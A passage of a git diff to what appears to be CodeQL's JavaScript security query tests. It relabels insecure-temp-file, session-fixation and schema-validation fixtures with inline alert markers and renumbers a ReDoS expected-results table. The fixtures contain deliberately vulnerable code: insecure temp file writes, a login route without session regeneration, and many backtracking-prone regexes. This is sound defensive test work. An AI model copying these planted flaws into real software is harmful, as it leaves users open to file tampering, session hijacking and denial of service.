index 641b89a3ebe1..03d63f076bf4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js
+++ b/javascript/ql/test/query-tests/Security/CWE-377/insecure-temporary-file.js
@@ -5,26 +5,26 @@ const path = require('path');
 
 (function main() {
     var tmpLocation = path.join(
-        os.tmpdir ? os.tmpdir() : os.tmpDir(),
+        os.tmpdir ? os.tmpdir() : os.tmpDir(), // $ Source
         'something',
         uuid.v4().slice(0, 8)
     );
 
-    fs.writeFileSync(tmpLocation, content); // NOT OK
+    fs.writeFileSync(tmpLocation, content); // $ Alert
 
-    var tmpPath = "/tmp/something";
-    fs.writeFileSync(path.join("./foo/", tmpPath), content); // OK
-    fs.writeFileSync(path.join(tmpPath, "./foo/"), content); // NOT OK
+    var tmpPath = "/tmp/something"; // $ Source
+    fs.writeFileSync(path.join("./foo/", tmpPath), content);
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content); // $ Alert
 
-    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o600}); // OK
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o600});
 
     fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: mode}); // OK - assumed unknown mode is secure
 
-    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o666}); // NOT OK - explicitly insecure
+    fs.writeFileSync(path.join(tmpPath, "./foo/"), content, {mode: 0o666}); // $ Alert - explicitly insecure
 
-    const tmpPath2 = path.join(os.tmpdir(), `tmp_${Math.floor(Math.random() * 1000000)}.md`);
-    fs.writeFileSync(tmpPath2, content); // NOT OK
+    const tmpPath2 = path.join(os.tmpdir(), `tmp_${Math.floor(Math.random() * 1000000)}.md`); // $ Source
+    fs.writeFileSync(tmpPath2, content); // $ Alert
 
-    fs.openSync(tmpPath2, 'w'); // NOT OK
-    fs.openSync(tmpPath2, 'w', 0o600); // OK
+    fs.openSync(tmpPath2, 'w'); // $ Alert
+    fs.openSync(tmpPath2, 'w', 0o600);
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-384/SessionFixation.qlref b/javascript/ql/test/query-tests/Security/CWE-384/SessionFixation.qlref
index 173c5bed6629..a8adada2de0e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-384/SessionFixation.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-384/SessionFixation.qlref
@@ -1 +1,2 @@
-Security/CWE-384/SessionFixation.ql
+query: Security/CWE-384/SessionFixation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-384/tst.js b/javascript/ql/test/query-tests/Security/CWE-384/tst.js
index c542036bd237..823604f0b4a9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-384/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-384/tst.js
@@ -6,15 +6,15 @@ app.use(session({
     secret: 'keyboard cat'
 }));
 // handle login
-app.get('/login', function (req, res) { // NOT OK - no regenerate
+app.get('/login', function (req, res) { // no regenerate
     req.session.user = {
         userId: something
     };
     res.send('logged in');
-});
+}); // $ Alert
 
 // with regenerate
-app.get('/login2', function (req, res) { // OK
+app.get('/login2', function (req, res) {
     req.session.regenerate(function (err) {
         req.session.user = {
             userId: something
@@ -29,7 +29,7 @@ app.get('/passport', passport.authenticate('local'), function (req, res) { // OK
 });
 
 // with regenerate, still using passport
-app.get('/passport2', passport.authenticate('local'), function (req, res) { // OK
+app.get('/passport2', passport.authenticate('local'), function (req, res) {
     var passport = req._passport.instance;
     req.session.regenerate(function(err, done, user) {
         req.session[passport._key] = {};
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/DeepObjectResourceExhaustion.qlref b/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/DeepObjectResourceExhaustion.qlref
index 659d91ba4b89..5cc5939ac5f4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/DeepObjectResourceExhaustion.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/DeepObjectResourceExhaustion.qlref
@@ -1 +1,2 @@
-Security/CWE-400/DeepObjectResourceExhaustion.ql
\ No newline at end of file
+query: Security/CWE-400/DeepObjectResourceExhaustion.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/tst.js b/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/tst.js
index 9ecdad2dbbc9..e444e8e1abfb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/DeepObjectResourceExhaustion/tst.js
@@ -6,7 +6,7 @@ ajv.addSchema(require('./input-schema'), 'input');
 
 var app = express();
 app.get('/user/:id', function(req, res) {
-	if (!ajv.validate('input', req.body)) { // NOT OK
+	if (!ajv.validate('input', req.body)) { // $ Alert
 		return;
 	}
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialBackTracking.expected
index 5740204b2d37..5de70192e59b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialBackTracking.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialBackTracking.expected
@@ -402,140 +402,140 @@
 | regexplib/uri.js:70:16:70:31 | [a-zA-Z0-9\\-\\.]+ | Strings starting with '0' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [a-zA-Z0-9]+ |
 | regexplib/uri.js:71:75:71:89 | [^\\/\\\\:*?"<>\|]+ | Strings starting with 'A:\\\\!.' and with many repetitions of '!.' can start matching anywhere after the start of the preceeding [^\\/\\\\:*?"<>\|]+ |
 | regexplib/uri.js:73:2:73:4 | .*? | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*?$(?<!\\.aspx) |
-| tst.js:14:15:14:16 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*,)+ |
-| tst.js:23:21:23:28 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
-| tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
-| tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
-| tst.js:28:24:28:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
-| tst.js:28:59:28:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
-| tst.js:31:23:31:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
-| tst.js:31:54:31:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* |
-| tst.js:31:58:31:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
-| tst.js:41:14:41:30 | ([\\s\\[\\{\\(]\|#.*)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* |
-| tst.js:47:21:47:43 | (?:[^"']\|".*?"\|'.*?')*? | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:47:31:47:33 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:47:37:47:39 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:52:34:52:43 | (\\[.*?\\])* | Strings starting with '$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:52:37:52:39 | .*? | Strings starting with '$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* |
-| tst.js:52:67:52:76 | (\\[.*?\\])* | Strings starting with '$.$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:52:70:52:72 | .*? | Strings starting with '$.$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:58:15:58:20 | [a-z]+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([a-z]+)+ |
-| tst.js:60:43:60:54 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\\\-.]\|[_]+)?([a-zA-Z0-9]+))* |
-| tst.js:61:16:61:23 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ |
-| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .*? |
-| tst.js:66:38:66:40 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ |
-| tst.js:66:46:66:48 | \\s* | Strings starting with '*' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ |
-| tst.js:71:19:71:26 | (\\\\?.)*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ("\|')(\\\\?.)*?\\1 |
-| tst.js:74:14:74:21 | (b\|a?b)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b\|a?b)*c |
-| tst.js:77:14:77:21 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b |
-| tst.js:80:14:80:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! |
-| tst.js:83:14:83:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! |
-| tst.js:89:25:89:32 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b |
-| tst.js:95:15:95:25 | ([^]\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding (([^]\|[^a])*)" |
-| tst.js:101:15:101:23 | (.\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((.\|[^a])*)" |
-| tst.js:104:16:104:24 | (a\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((a\|[^a])*)" |
-| tst.js:107:15:107:23 | (b\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((b\|[^a])*)" |
-| tst.js:110:15:110:23 | (G\|[^a])* | Strings with many repetitions of 'G' can start matching anywhere after the start of the preceeding ((G\|[^a])*)" |
-| tst.js:113:15:113:27 | ([0-9]\|[^a])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding (([0-9]\|[^a])*)" |
-| tst.js:122:16:122:62 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])* | Strings starting with '"' and with many repetitions of '\\\\"!' can start matching anywhere after the start of the preceeding "((?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])*)" |
-| tst.js:125:15:125:28 | ([a-z]\|[d-h])* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (([a-z]\|[d-h])*)" |
-| tst.js:128:15:128:30 | ([^a-z]\|[^0-9])* | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding (([^a-z]\|[^0-9])*)" |
-| tst.js:131:15:131:25 | (\\d\|[0-9])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|[0-9])*)" |
-| tst.js:134:15:134:22 | (\\s\|\\s)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|\\s)*)" |
-| tst.js:137:15:137:21 | (\\w\|G)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\w\|G)*)" |
-| tst.js:140:16:140:23 | (\\s\|\\d)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|\\d)*)" |
-| tst.js:143:15:143:22 | (\\d\|\\w)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|\\w)*)" |
-| tst.js:146:15:146:21 | (\\d\|5)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|5)*)" |
-| tst.js:149:15:149:24 | (\\s\|[\\f])* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|[\\f])*)" |
-| tst.js:152:15:152:28 | (\\s\|[\\v]\|\\\\v)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|[\\v]\|\\\\v)*)" |
-| tst.js:155:15:155:24 | (\\f\|[\\f])* | Strings with many repetitions of '\\u000c' can start matching anywhere after the start of the preceeding ((\\f\|[\\f])*)" |
-| tst.js:158:15:158:22 | (\\W\|\\D)* | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding ((\\W\|\\D)*)" |
-| tst.js:161:15:161:22 | (\\S\|\\w)* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|\\w)*)" |
-| tst.js:164:15:164:24 | (\\S\|[\\w])* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|[\\w])*)" |
-| tst.js:167:15:167:27 | (1s\|[\\da-z])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((1s\|[\\da-z])*)" |
-| tst.js:170:15:170:23 | (0\|[\\d])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((0\|[\\d])*)" |
-| tst.js:173:16:173:20 | [\\d]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\d]+)* |
-| tst.js:185:16:185:21 | [^>a]+ | Strings with many repetitions of '=' can start matching anywhere after the start of the preceeding ([^>a]+)* |
-| tst.js:188:17:188:19 | \\s* | Strings starting with '\\n' and with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n\\s*)+$ |
-| tst.js:191:18:191:20 | \\s+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* |
-| tst.js:191:31:191:35 | [^)]* | Strings starting with '(?#' and with many repetitions of '(?#' can start matching anywhere after the start of the preceeding .* |
-| tst.js:194:53:194:61 | [a-zA-Z]+ | Strings starting with '{[A(A)' and with many repetitions of 'AA' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ |
-| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | Strings starting with '{[A(A)A:' and with many repetitions of ' A:  ' can start matching anywhere after the start of the preceeding \\s* |
-| tst.js:194:87:194:89 | \\s* | Strings starting with '{[A(A)' and with many repetitions of '  ' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ |
-| tst.js:197:15:197:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* |
-| tst.js:197:18:197:19 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* |
-| tst.js:200:17:200:18 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+a?)* |
-| tst.js:203:15:203:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
-| tst.js:209:15:209:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
-| tst.js:215:15:215:17 | \\n+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n+)+ |
-| tst.js:218:15:218:19 | [^X]+ | Strings with many repetitions of 'W' can start matching anywhere after the start of the preceeding ([^X]+)* |
-| tst.js:221:15:221:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* |
-| tst.js:227:15:227:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* |
-| tst.js:239:15:239:19 | (ab)+ | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)+)* |
-| tst.js:248:18:248:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding A* |
-| tst.js:254:15:254:17 | \\w* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* |
-| tst.js:254:27:254:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
-| tst.js:254:39:254:41 | \\w* | Strings starting with 'foobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
-| tst.js:254:51:254:53 | \\w* | Strings starting with 'foobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
-| tst.js:254:63:254:65 | \\s* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\d* |
-| tst.js:254:75:254:77 | \\d* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\s* |
-| tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | Strings with many repetitions of '\\tthisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)*- |
-| tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | Strings with many repetitions of 'this0query' can start matching anywhere after the start of the preceeding \\w+ |
-| tst.js:260:68:260:70 | \\w+ | Strings starting with 'this' and with many repetitions of 'this' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* |
-| tst.js:263:15:263:117 | (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)* | Strings with many repetitions of 'imanotherbutunrelatedstringcomparedtotheotherstring' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)*- |
-| tst.js:272:21:272:22 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b+)+ |
-| tst.js:275:25:275:27 | \\s+ | Strings starting with '<0' and with many repetitions of '\\t0="\\t0="\\t' can start matching anywhere after the start of the preceeding [^"]* |
-| tst.js:275:28:275:30 | \\w+ | Strings starting with '<0\\t' and with many repetitions of '0="\\t0="\\t' can start matching anywhere after the start of the preceeding [^"]* |
-| tst.js:275:34:275:36 | \\s* | Strings starting with '<0\\t0' and with many repetitions of '="\\t0="\\t0\\t' can start matching anywhere after the start of the preceeding [^"]* |
-| tst.js:275:48:275:52 | [^"]* | Strings starting with '<0\\t0="' and with many repetitions of '"\\t0="' can start matching anywhere after the start of the preceeding \\s* |
-| tst.js:275:60:275:64 | [^']* | Strings starting with '<0\\t0='' and with many repetitions of ''\\t0='' can start matching anywhere after the start of the preceeding \\s* |
-| tst.js:275:68:275:74 | [^>\\s]+ | Strings starting with '<0\\t0=' and with many repetitions of '"\\t0="' can start matching anywhere after the start of the preceeding [^"]* |
-| tst.js:281:16:281:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
-| tst.js:284:16:284:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
-| tst.js:290:16:290:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
-| tst.js:293:22:293:23 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
-| tst.js:296:15:296:24 | ((;\|^)a+)+ | Strings starting with 'a' and with many repetitions of ';a' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ |
-| tst.js:296:21:296:22 | a+ | Strings with many repetitions of 'a;' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ |
-| tst.js:299:90:299:91 | e+ | Strings starting with '00000000000000' and with many repetitions of 'e' can start matching anywhere after the start of the preceeding (e+)+ |
-| tst.js:302:18:302:19 | c+ | Strings starting with 'ab' and with many repetitions of 'c' can start matching anywhere after the start of the preceeding (c+)+ |
-| tst.js:305:18:305:20 | \\s+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (\\s+)* |
-| tst.js:308:16:308:24 | ([^/]\|X)+ | Strings with many repetitions of '.' can start matching anywhere after the start of the preceeding (([^/]\|X)+)(\\/[^]*)*$ |
-| tst.js:311:17:311:28 | (x([^Y]+)?)* | Strings with many repetitions of 'xX' can start matching anywhere after the start of the preceeding [^Y]+ |
-| tst.js:311:20:311:24 | [^Y]+ | Strings starting with 'x' and with many repetitions of 'xX' can start matching anywhere after the start of the preceeding (x([^Y]+)?)* |
-| tst.js:314:15:314:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b |
-| tst.js:317:18:317:23 | [\\w-]* | Strings starting with 'foo' and with many repetitions of 'foo-' can start matching anywhere after the start of the preceeding foo([\\w-]*)+bar |
-| tst.js:320:15:320:19 | (ab)* | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)*)+c |
-| tst.js:323:14:323:20 | (a?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?a?)*b |
-| tst.js:326:15:326:19 | (a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?)*b |
-| tst.js:329:14:329:20 | (c?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (c?a?)*b |
-| tst.js:332:14:332:22 | (?:a\|a?)+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (?:a\|a?)+b |
-| tst.js:335:14:335:20 | (a?b?)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a?b?)*$ |
-| tst.js:341:16:341:19 | (a)+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ((a)+\\w)+ |
-| tst.js:344:16:344:17 | b+ | Strings with many repetitions of 'bb' can start matching anywhere after the start of the preceeding (b+.)+ |
-| tst.js:347:15:347:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b |
-| tst.js:350:15:350:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)*b |
-| tst.js:351:15:351:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
-| tst.js:352:15:352:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b |
-| tst.js:353:15:353:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
-| tst.js:372:16:372:21 | [^"]*? | Strings starting with '"' and with many repetitions of '""' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+(?=\\s*\|\\s*$)X |
-| tst.js:372:24:372:30 | [^"\\s]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+ |
-| tst.js:373:16:373:21 | [^"]*? | Strings starting with '"' and with many repetitions of '""' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+(?=X) |
-| tst.js:373:24:373:30 | [^"\\s]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+ |
-| tst.js:374:15:374:16 | x* | Strings with many repetitions of 'x' can start matching anywhere after the start of the preceeding (x*)+(?=$) |
-| tst.js:375:15:375:16 | x* | Strings with many repetitions of 'x' can start matching anywhere after the start of the preceeding (x*)+(?=$\|y) |
-| tst.js:378:16:378:22 | [\\s\\S]* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([\\s\\S]*)+(?=$) |
-| tst.js:379:16:379:22 | [\\s\\S]* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([\\s\\S]*)+(?=$\|y) |
-| tst.js:381:15:381:24 | (foo\|FOO)* | Strings with many repetitions of 'FOO' can start matching anywhere after the start of the preceeding (foo\|FOO)*bar |
-| tst.js:382:14:382:23 | (foo\|FOO)* | Strings with many repetitions of 'foo' can start matching anywhere after the start of the preceeding (foo\|FOO)*bar |
-| tst.js:384:15:384:26 | ([AB]\|[ab])* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding ([AB]\|[ab])*C |
-| tst.js:385:14:385:25 | ([DE]\|[de])* | Strings with many repetitions of 'd' can start matching anywhere after the start of the preceeding ([DE]\|[de])*F |
-| tst.js:388:14:388:20 | (a\|aa)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa)*$ |
-| tst.js:391:6:394:5 | (a\|aa)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa)*b$ |
-| tst.js:398:6:398:12 | (c\|cc)* | Strings with many repetitions of 'c' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
-| tst.js:399:6:399:12 | (d\|dd)* | Strings with many repetitions of 'd' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
-| tst.js:400:6:401:1 | (e\|ee)* | Strings with many repetitions of 'e' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
-| tst.js:404:6:405:7 | (g\|gg)* | Strings with many repetitions of 'g' can start matching anywhere after the start of the preceeding (g\|gg)*h$ |
-| tst.js:407:128:407:129 |  * | Strings starting with '0/*' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* |
-| tst.js:409:23:409:29 | [\\w.-]* | Strings starting with '//' and with many repetitions of '//' can start matching anywhere after the start of the preceeding (\\/(?:\\/[\\w.-]*)*){0,1}:([\\w.-]+) |
-| tst.js:411:15:411:19 | a{1,} | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a{1,})* |
-| tst.js:417:20:417:25 | (aa?)* | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (aa?)*b |
+| tst.js:13:15:13:16 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*,)+ |
+| tst.js:21:21:21:28 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
+| tst.js:21:33:21:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
+| tst.js:21:47:21:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? |
+| tst.js:26:24:26:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
+| tst.js:26:59:26:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
+| tst.js:28:23:28:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
+| tst.js:28:54:28:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* |
+| tst.js:28:58:28:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* |
+| tst.js:36:14:36:30 | ([\\s\\[\\{\\(]\|#.*)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* |
+| tst.js:42:21:42:43 | (?:[^"']\|".*?"\|'.*?')*? | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:42:31:42:33 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:42:37:42:39 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:46:34:46:43 | (\\[.*?\\])* | Strings starting with '$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:46:37:46:39 | .*? | Strings starting with '$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* |
+| tst.js:46:67:46:76 | (\\[.*?\\])* | Strings starting with '$.$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:46:70:46:72 | .*? | Strings starting with '$.$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:52:15:52:20 | [a-z]+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([a-z]+)+ |
+| tst.js:54:43:54:54 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\\\-.]\|[_]+)?([a-zA-Z0-9]+))* |
+| tst.js:55:16:55:23 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ |
+| tst.js:59:16:59:31 | [\\w#:.~>+()\\s-]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .*? |
+| tst.js:59:38:59:40 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ |
